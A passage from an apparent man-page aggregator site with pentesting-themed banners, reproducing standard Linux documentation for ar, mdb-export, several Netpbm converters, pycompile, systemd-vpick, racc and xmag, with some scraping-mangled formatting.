  1. Preserve the original dates of members when extracting them. If you do not specify this modifier, files extracted from the archive are stamped with the time of extraction.
  1. Display member offsets inside the archive. Use together with the t option.

  2. Use the full path name when matching or storing names in the archive. Archives created with full path names are not POSIX compliant, and thus may not work with tools other than up to date GNU tools. Modifying such archives with GNU ar without using P will remove the full path names unless the archive is a thin archive. Note that P may be useful when adding files to a thin archive since r without P ignores the path when choosing which element to replace. Thus ar rcST archive.a subdir/file1 subdir/file2 file1 will result in the first subdir/file1 being replaced with file1 from the current directory. Adding P will prevent this replacement.

  1. Write an object-file index into the archive, or update an existing one, even if no other change is made to the archive. You may use this modifier flag either with any operation, or alone. Running ar s on an archive is equivalent to running ranlib on it.
  1. Do not generate an archive symbol table. This can speed up building a large library in several steps. The resulting archive can not be used with the linker. In order to build a symbol table, you must omit the S modifier on the last execution of ar, or you must run ranlib on the archive.

  2. Deprecated alias for –thin. T is not recommended because in many ar implementations T has a different meaning, as specified by X/Open System Interface.

  1. Normally, ar r… inserts all files listed into the archive. If you would like to insert only those of the files you list that are newer than existing members of the same names, use this modifier. The u modifier is allowed only for the operation r (replace). In particular, the combination qu is not allowed, since checking the timestamps would lose any speed advantage from the operation q. Note - if an archive has been created in a deterministic manner, eg via the use of the D modifier, then replacement will always happen and the u modifier will be ineffective.
  1. Do not operate in deterministic mode. This is the inverse of the D modifier, above: added files and the archive index will get their actual UID, GID, timestamp, and file mode values. This is the default unless binutils was configured with –enable-deterministic-archives.
  1. This modifier requests the verbose version of an operation. Many operations display additional information, such as filenames processed, when the modifier v is appended.
  1. This modifier shows the version number of ar.

The ar program also supports some command-line options which are neither modifiers nor actions, but which do change its behaviour in specific ways:

–help
Displays the list of command-line options supported by ar and then exits.

–version
Displays the version information of ar and then exits.

-X32_64
ar ignores an initial option spelled -X32_64, for compatibility with AIX. The behaviour produced by this option is the default for GNU ar. ar does not support any of the other -X options; in particular, it does not support -X32 which is the default for AIX ar.

–plugin name
The optional command-line switch –plugin name causes ar to load the plugin called name which adds support for more file formats, including object files with link-time optimization information. This option is only available if the toolchain has been built with plugin support enabled. If –plugin is not provided, but plugin support has been enabled then ar iterates over the files in ${libdir}/bfd-plugins in alphabetic order and the first plugin that claims the object in question is used. Please note that this plugin search directory is not the one used by ld’s -plugin option. In order to make ar use the linker plugin it must be copied into the ${libdir}/bfd-plugins directory. For GCC based compilations the linker plugin is called liblto_plugin.so.0.0.0. For Clang based compilations it is called LLVMgold.so. The GCC plugin is always backwards compatible with earlier versions, so it is sufficient to just copy the newest one.

–target target
The optional command-line switch –target bfdname specifies that the archive members are in an object code format different from your system’s default format. See

–output dirname
The –output option can be used to specify a path to a directory into which archive members should be extracted. If this option is not specified then the current directory will be used. Note - although the presence of this option does imply a x extraction operation that option must still be included on the command line.

–record-libdeps libdeps
The –record-libdeps option is identical to the l modifier, just handled in long form.

–thin
Make the specified archive a thin archive. If it already exists and is a regular archive, the existing members must be present in the same directory as archive.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

nm (1), ranlib (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2291 - Linux cli command mdb-export

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mdb-export and provides detailed information about the command mdb-export, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mdb-export.

NAME 🖥️ mdb-export 🖥️

export** - Export data in an MDB database table to CSV format.

SYNOPSIS

mdb-export [--no-header] [--delimiter delim] [--row-delimiter delim] [[--no-quote] | [--quote char [--escape char]]] [--escape-invisible] [--date-format fmt] [--datetime-format fmt] [--bin strip|raw|octal|hex] [--boolean-words] database table
mdb-export --insert backend [--namespace prefix] [--batch-size int] database table
mdb-export -h|--help
mdb-export --version

DESCRIPTION

mdb-export is a utility program distributed with MDB Tools.

It produces a CSV (comma separated value) output for the given table**. Such output is suitable for importation into databases or spreadsheets.**

Used with –insert, it outputs SQL specific to backend dialect, including some constraints like NOT NULL and foreign keys.

OPTIONS

-H, –no-header
Suppress header row.

-d, –delimiter delim
Specify an alternative column delimiter. Default is , (comma).

-R, –row-delimiter delim
Specify a row delimiter. Default is (ASCII value 10).

-Q, –no-quote
Don’t wrap text-like fields (text, memo, date) in quotes. If not specified text fiels will be surrounded by " (double quote) characters.

-q, –quote char
Use char to wrap text-like fields. Default is " (double quote).

-X, –escape char
Use char to escape quoted characters within a field. Default is doubling.

-e, –escape-invisible
Use C-style escaping for return ( ), tab ( ), line-feed ( ), and back-slash () characters. Default is to leave as they are.

-I, –insert backend
INSERT statements (instead of CSV). You must specify which SQL backend dialect to use. Allowed values are: access, sybase, oracle, postgres, mysql and sqlite.

-N, –namespace prefix
Prefix identifiers with prefix**.**

-S, –batch-size int
Size of insert batches on supported platforms.

-D, –date-format fmt
Set the date format (see strftime(3) for details.

-T, –datetime-format fmt
Set the date/time format (see strftime(3) for details.

-0, –null char
Use char to represent a NULL value. -b, –bin strip|raw|octal|hex Binary export mode: strip binaries, export as-is, output \ooo style octal data or output \xx style hexadecimal data.

-B, –boolean-words
Use TRUE/FALSE in Boolean fields (default is 0/1).

–version
Print the mdbtools version and exit.

NOTES

Most of the formatting options actually also works with –insert.

ENVIRONMENT

MDB_JET3_CHARSET
Defines the charset of the input JET3 (access 97) file. Default is CP1252. See iconv(1).

MDBICONV
Defines the output charset to use for the SQL file. Default is UTF-8. mdbtools must have been compiled with iconv.

MDBOPTS
Colon-separated list of options:

  • debug_like

  • debug_write

  • debug_usage

  • debug_ole

  • debug_row

  • debug_props

  • debug_all is a shortcut for all debug_* options

  • no_memo (deprecated; has no effect)

  • use_index (experimental; requires libmswstr)

SEE ALSO

mdb-array(1) mdb-count(1) mdb-header(1) mdb-hexdump(1) mdb-import(1) mdb-json(1) mdb-parsecsv(1) mdb-prop(1) mdb-queries(1) mdb-schema(1) mdb-sql(1) mdb-tables(1) mdb-ver(1)

HISTORY

mdb-export first appeared in MDB Tools 0.1.

AUTHORS

The mdb-export utility was written by Brian Bruns.

BUGS

Memo fields are allowed to contain a newline characters, the current program does nothing about this.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2292 - Linux cli command pamtohtmltbl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtohtmltbl and provides detailed information about the command pamtohtmltbl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtohtmltbl.

.

NAME 🖥️ pamtohtmltbl 🖥️

convert pnm/pam visual image to an HTML table

SYNOPSIS

pamtohtmltbl [-transparent=color] [-verbose] [file]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamtohtmltbl converts a visual image to an HTML table with one cell per pixel. The cell is empty, but its background color is that of the pixel.

file is a PBM, PGM, PPM, or PAM file. If PAM, it must be a standard visual image of tuple type RGB, GRAYSCALE, or BLACKANDWHITE, or something equivalent with extra higher numbered channels, but pamtohtmltbl doesn’t check the tuple type; it just assumes.

Note that the more normal way to include a visual image in an HTML document is with a <IMG> tag.

Not all web browsers render tables as pamtohtmltbl expects, and therefore show a grossly distorted image. Internet Explorer 7 on Windows and Opera 9.02 on Windows have been seen to work; Firefox 2.0.0.16 on the same Windows system has been seen not to.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtohtmltbl recognizes the following command line options:

**-transparent=**color
This option indicates that pixels of the specified color are to be transparent in the HTML table. The table cell for a pixel of this color will have no background color specified.

Specify the color (color) as described for the argument of the pnm_parsecolor() library routine .

-verbose
This option causes pamtohtmltbl to display messages about the conversion process.

SEE ALSO

pnm(1) pam(1)

HISTORY

pamtohtmltbl was new in Netpbm 10.15 (April 2003).

AUTHORS

Alexander B. Ivanov (SSH) wrote a program he called pnm2html. Bryan Henderson adapted it to use the Netpbm libraries and handle PAM images and follow Netpbm conventions, and named it pamtohtmltbl.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtohtmltbl.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2293 - Linux cli command pycompile

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pycompile and provides detailed information about the command pycompile, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pycompile.

NAME 🖥️ pycompile 🖥️

byte compile Python source files

SYNOPSIS

pycompile [-V [X.Y][-][A.B]] DIR_OR_FILE [-X REGEXPR]

pycompile -p PACKAGE

DESCRIPTION

Wrapper around Python standard library’s py_compile module to byte-compile Python files.

OPTIONS

–version
show program’s version number and exit

-h, –help
show this help message and exit

-f, –force
force rebuild of byte-code files even if timestamps are up-to-date

-O
byte-compile to .pyo files

-q, –quiet
be quiet

-v, –verbose
turn verbose mode on

-p* PACKAGE,*** –package**=****PACKAGE
specify Debian package name whose files should be bytecompiled (combining with DIR_OR_FILE will additionally limit list of files)

-V* VRANGE*
force private modules to be bytecompiled with Python version from given range, regardless of the default Python version in the system. If there are no other options, bytecompile all public modules for installed Python versions that match given range. VERSION_RANGE examples:

  • 2.5 version 2.5 only

  • 2.5- version 2.5 or newer

  • 2.5-2.7 version 2.5 or 2.6

  • -3.0 all supported 2.X versions

-X* REGEXPR**,***** –exclude**=****REGEXPR
exclude items that match given REGEXPR. You may use this option multiple times to build up a list of things to exclude

AUTHOR

Piotr Ożarowski, 2012-2013

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2294 - Linux cli command systemd-vpick

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-vpick and provides detailed information about the command systemd-vpick, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-vpick.

NAME 🖥️ systemd-vpick 🖥️

vpick - Resolve paths to “.v/” versioned directories

SYNOPSIS

systemd-vpick [OPTIONS…] [PATH…]

DESCRIPTION

systemd-vpick resolves a file system path referencing a “.v/” versioned directory to a path to the newest (by version) file contained therein. This tool provides a command line interface for the systemd.v(7) logic.

The tool expects a path to a “.v/” directory as argument (either directly, or with a triple underscore pattern as final component). It then determines the newest file contained in that directory, and writes its path to standard output.

Unless the triple underscore pattern is passed as last component of the path, it is typically necessary to at least specify the –suffix= switch to configure the file suffix to look for.

If the specified path does not reference a “.v/” path (i.e. neither the final component ends in “.v”, nor the penultimate does or the final one does contain a triple underscore) it specified path is written unmodified to standard output.

OPTIONS

The following options are understood:

–basename=, -B

Overrides the “basename” of the files to look for, i.e. the part to the left of the variable part of the filenames. Normally this is derived automatically from the filename of the “.v” component of the specified path, or from the triple underscore pattern in the last component of the specified path.

Added in version 256.

-V

Explicitly configures the version to select. If specified, a filename with the specified version string will be looked for, instead of the newest version available.

Added in version 256.

-A

Explicitly configures the architecture to select. If specified, a filename with the specified architecture identifier will be looked for. If not specified only filenames with a locally supported architecture are considered, or those without any architecture identifier.

Added in version 256.

–suffix=, -S

Configures the suffix of the filenames to consider. For the “.v/” logic it is necessary to specify the suffix to look for, and the “.v/” component must also carry the suffix immediately before “.v” in its name.

Added in version 256.

–type=, -t

Configures the inode type to look for in the “.v/” directory. Takes one of “reg”, “dir”, “sock”, “fifo”, “blk”, “chr”, “lnk” as argument, each identifying an inode type. See inode(7) for details about inode types. If this option is used inodes not matching the specified type are filtered and not taken into consideration.

Added in version 256.

–print=, -p

Configures what precisely to write to standard output. If not specified prints the full, resolved path of the newest matching file in the “.v/” directory. This switch can be set to one of the following:

·

If set to “filename”, will print only the filename instead of the full path of the resolved file.

·

If set to “version”, will print only the version of the resolved file.

·

If set to “type”, will print only the inode type of the resolved file (i.e. a string such as “reg” for regular files, or “dir” for directories).

·

If set to “arch”, will print only the architecture of the resolved file.

·

If set to “tries”, will print only the tries left/tries done of the resolved file.

·

If set to “all”, will print all of the above in a simple tabular output.

Added in version 256.

–resolve=

Takes a boolean argument. If true the path to the versioned file is fully canonicalized (i.e. symlinks resolved, and redundant path components removed) before it is shown. If false (the default) this is not done, and the path is shown without canonicalization.

Added in version 256.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

EXAMPLES

Use a command like the following to automatically pick the newest raw disk image from a “.v/” directory:

$ systemd-vpick –suffix=.raw –type=reg /var/lib/machines/quux.raw.v/

This will enumerate all regular files matching /var/lib/machines/quux.raw.v/quux*.raw, filter and sort them according to the rules described in systemd.v(7), and then write the path to the newest (by version) file to standard output.

Use a command like the following to automatically pick the newest OS directory tree from a “.v/” directory:

$ systemd-vpick –type=dir /var/lib/machines/waldo.v/

This will enumerate all directory inodes matching /var/lib/machines/waldo.v/waldo*, filter and sort them according to the rules described in systemd.v(7), and then write the path to the newest (by version) directory to standard output.

For further examples see systemd.v(7).

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

SEE ALSO

systemd(1), systemd.v(7)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2295 - Linux cli command infotopam

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command infotopam and provides detailed information about the command infotopam, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the infotopam.

.

NAME 🖥️ infotopam 🖥️

convert Amiga .info icons to PAM

SYNOPSIS

infotopam [-forcecolor] [-numcolors numcolors] [-selected] [-verbose] [index color …] [filename]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

EXAMPLES

    $ infotopam amiga.info > amiga.first.pam

Use the -selected option to convert the ‘selected’ version of the icon rather than the regular version. Here infotopam reads from Standard Input:

    infotopam -selected < amiga.info > amiga.second.pam

Use -numcolors to change the colors.

    infotopam -numcolors 2 0 green 3 rgb:FF/00/00 icon.info > icon.pam

Since Amiga monitors do not use square pixels, some icons may appear squished. Filtering the output through pamscale can fix this:

    $ infotopam squish.info | pamtopnm | pamscale -yscale 1.7 > normal.pnm

DESCRIPTION

This program is part of Netpbm(1) .

infotopam converts an Amiga .info (icon) image to a PAM image. infotopam reads a .info file from filename, or from Standard Input if you do not specify a file name, and writes the converted PAM image to Standard Output.

infotopam handles 1- and 2 bit-plane icons. If the .info icon has only 1 bit-plane, infotopam generates a black and white PAM image; otherwise it generates a color PAM image. In the latter case, you can choose the colors or keep the original Amiga standard colors. You can force infotopam to produce a color PAM with 1 bit-plane input with a -forcecolor option.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), infotopam recognizes the following command line options:

-numcolors numcolors
This causes the program to change the colors in the conversion. A 2-bit-plane Amiga .icon image has four colors, numbered 0 through 3. Those colors are as follows.

0
Blue (00, 55, AA)

1
White (FF, FF, FF)

2
Black (00, 00, 20)

3
Orange (FF, 8A, 00)

To specify the changes, specify the number of colors you are changing as the argument of -numcolors and for each color, specify a pair of command line arguments, the first being the color index 0 through 3 and the second being the color to substitute. Specify the color (color) as described for the argument of the pnm_parsecolor() library routine .

These arguments go before the input file name argument, if any. This is an unusual syntax for a Netpbm program.

-selected
An Amiga .info image contains two versions of the icon: one for regular display and one to display when the thing represented by the icon is selected. By default, infotopam converts the regular icon, but this option causes it to convert the selected icon instead.

-forcecolor
This causes infotopam to convert 1 bit-plane icons to color PAM images instead of black and white. The colors are the index 2 color for black and the index 1 color for white.

-verbose
This causes infotopam to issue informational messages about the conversion process.

This option was new in Netpbm 11.06 (March 2024).

All options can be abbreviated to their shortest unique prefix.

SEE ALSO

pam(1) pamtopnm(1) pamscale(1)

NOTES

Thanks to the following people on comp.sys.amiga.programmer for tips and pointers on decoding the info file format:

  • Ben Hutchings

  • Thomas Richter

  • Kjetil Svalastog Matheussen

  • Anders Melchiorsen

  • Dirk Stoecker

  • Ronald V.D.

The format of the Amiga .info file is as follows:

    DiskObject header            78 bytes
    Optional DrawerData header   56 bytes
    First icon header            20 bytes
    First icon data              Varies
    Second icon header           20 bytes
    Second icon data             Varies  

The DiskObject header contains, among other things, the magic number (0xE310), the object width and height (inside the embedded Gadget header), and the version.

Each icon header contains the icon width and height, which can be smaller than the object width and height, and the number of bit-planes.

The icon data has the following format:

BIT-PLANE planes, each with HEIGHT rows of (WIDTH +15) / 16 * 2 bytes length.

So if you have a 9x3x2 icon, the icon data will look like this:

    aaaa aaaa a000 0000
    aaaa aaaa a000 0000
    aaaa aaaa a000 0000
    bbbb bbbb b000 0000
    bbbb bbbb b000 0000
    bbbb bbbb b000 0000

where a is a bit for the first bit-plane, b is a bit for the second bit-plane, and 0 is padding. Thanks again to Ben Hutchings for his very helpful post!

HISTORY

infotopam was new in Netpbm 10.22 (April 2004).

LIMITATIONS

infotopam currently only handles 1 and 2 bit-plane icons.

There is no pamtoinfo command, since the .info files contain a lot more than just icon data, and mapping the colors would be difficult.

AUTHOR

Copyright (C) 2000, 2004 by Richard Griswold.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/infotopam.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2296 - Linux cli command racc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command racc and provides detailed information about the command racc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the racc.

NAME 🖥️ racc 🖥️

Ruby LALR parser generator

SYNOPSIS

racc [options] file

DESCRIPTION

Racc is a LALR(1) parser generator. It is written in Ruby itself, and generates Ruby program.

OPTIONS

-g, –debug output parser for user level debugging.

-o, –output-file <outfile> file name of output. [<fname>.tab.rb]

-e, –executable <rubypath>

    insert #! line in output.  ('ruby' to default)

-E, –embedded output file which don’t need runtime.

-l, –no-line-convert never convert line numbers. (for ruby<=1.4.3)

-c, –line-convert-all convert line numbers also header and footer.

-a, –no-omit-actions never omit actions.

-v, –verbose create <filename>.output file.

-O, –log-file <fname> file name of verbose output. [<fname>.output]

-C, –check-only syntax check only.

-S, –output-status output status time to time.

–no-extentions run without any ruby extentions.

-h, –help print this message and quit.

–version print version and quit.

–runtime-version print runtime version and quit.

–copyright print copyright and quit.

SEE ALSO

/usr/share/doc/racc/html.en/index.html (English) or /usr/share/doc/racc/html.ja/index.html (Japanese).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2297 - Linux cli command xmag

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xmag and provides detailed information about the command xmag, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xmag.

NAME 🖥️ xmag 🖥️

magnify parts of the screen

SYNOPSIS

xmag [ -mag magfactor ] [ -source geom ] [ -toolkitoption . . . ]

DESCRIPTION

The xmag program allows you to magnify portions of an X screen. If no explicit region is specified, a square with the pointer in the upper left corner is displayed indicating the area to be enlarged. The area can be dragged out to the desired size by pressing Button 2. Once a region has been selected, a window is popped up showing a blown up version of the region in which each pixel in the source image is represented by a small square of the same color. Pressing Button1 in the enlargement window shows the position and RGB value of the pixel under the pointer until the button is released. Typing ``Q’’ or ``^C’’ in the enlargement window exits the program. The application has 5 buttons across its top. Close deletes this particular magnification instance. Replace brings up the rubber band selector again to select another region for this magnification instance. New brings up the rubber band selector to create a new magnification instance. Select puts the magnification image into the primary selection. Paste copies the primary selection buffer into xmag. Note that you can cut and paste between xmag and the bitmap program. Resizing xmag resizes the magnification area. xmag preserves the colormap, visual, and window depth of the source.

WIDGETS

xmag uses the X Toolkit and the Athena Widget Set. The magnified image is displayed in the Scale widget. For more information, see the Athena Widget Set documentation. Below is the widget structure of the xmag application. Indentation indicates hierarchical structure. The widget class name is given first, followed by the widget instance name.

	Xmag xmag
		RootWindow root
		TopLevelShell xmag
			Paned pane1
				Paned pane2
					Command close
					Command replace
					Command new
					Command select
					Command paste
					Label xmag label
				Paned pane2
					Scale scale
		OverrideShell pixShell
			Label pixLabel

OPTIONS

-source geom
This option specifies the size and/or location of the source region on the screen. By default, a 64x64 square is provided for the user to select an area of the screen.

-mag integer
This option indicates the magnification to be used. 5 is the default.

AUTHORS

Dave Sternlicht and Davor Matic, MIT X Consortium.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2298 - Linux cli command mdatopbm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mdatopbm and provides detailed information about the command mdatopbm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mdatopbm.

.

NAME 🖥️ mdatopbm 🖥️

convert a Microdesign .mda or .mdp file into a PBM image

SYNOPSIS

mdatopbm [-d] [-i] [] [mdafile]

DESCRIPTION

This program is part of Netpbm(1) .

mdatopbm reads a MicroDesign file as input and Produces a PBM image as output.

If you don’t specify mdafile, mdatopbm takes its input from Standard Input.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), mdatopbm recognizes the following command line options:

-d
